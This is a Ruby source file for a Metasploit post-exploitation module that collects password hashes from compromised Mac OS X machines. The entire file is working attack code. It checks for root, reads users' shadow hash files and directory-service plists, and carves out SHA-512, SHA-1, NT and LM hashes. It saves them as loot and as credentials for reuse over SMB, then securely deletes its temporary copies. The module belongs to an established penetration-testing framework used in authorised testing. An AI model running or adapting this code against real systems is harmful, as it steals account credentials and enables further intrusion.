metasploit-framework/modules/post/osx/gather/hashdump.rb

244 lines
6.5 KiB
Ruby

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA-1, LM and NT Hashes of Mac OS X Tiger, Leopard, Snow Leopard and Lion Systems.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ]
))
end
# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = session.sys.config.sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
end
ver_num = get_ver
if running_root
dump_hash(ver_num)
else
print_error("Insufficient Privileges you must be running as root to dump the hashes")
end
end
#parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
require "rexml/document"
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each("plist/dict/key") do |element|
keys << element.text
end
fields = {}
i = 0
doc.elements.each("plist/dict/array") do |element|
data = []
fields[keys[i]] = data
element.each_element("*") do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t","")
else
data << data_set
end
end
i+=1
end
return fields
end
# Checks if running as root on the target
def check_root
# Get only the account ID
id = cmd_exec("/usr/bin/id","-ru").chomp
if id == "0"
return true
else
return false
end
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
return osx_ver_num
end
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(ver_num)
print_status("Dumping Hashes")
users = []
nt_hash = nil
host = session.session_host
# Path to files with hashes
sha1_file = ""
# Check if system is Lion if not continue
if ver_num =~ /10\.(7)/
hash_decoded = ""
# get list of profiles present in the box
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
if profiles
profiles.each do |p|
# Skip none user profiles
next if p =~ /^_/
next if p =~ /^daemon|root|nobody/
# Turn profile plist in to XML format
cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat","/tmp/#{p.chomp}")
# Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
# Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file)
# Extract the shadow hash data, decode it and format it
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b)
end
user = plist_values['name'].join("")
# Check if NT HASH is present
if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end
# Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}")
sha1_file << "#{user}:#{sha512}\n"
# Reset hash value
sha512 = ""
if nt_hash
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
# Reset hash value
nt_hash = nil
end
# Reset hash value
hash_decoded = ""
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")
# If system was lion and it was processed nothing more to do
return
end
users_folder = cmd_exec("/bin/ls","/Users")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# Process each user
users.each do |user|
if ver_num =~ /10\.(6|5)/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif ver_num =~ /10\.(4|3)/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
end
# Extract the hashes
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
sha1_file << "#{user}:#{sha1_hash}"
end
if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true
)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
print_status("Credential saved in database.")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => "#{lm_hash}:",
:active => true
)
end
end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
end
end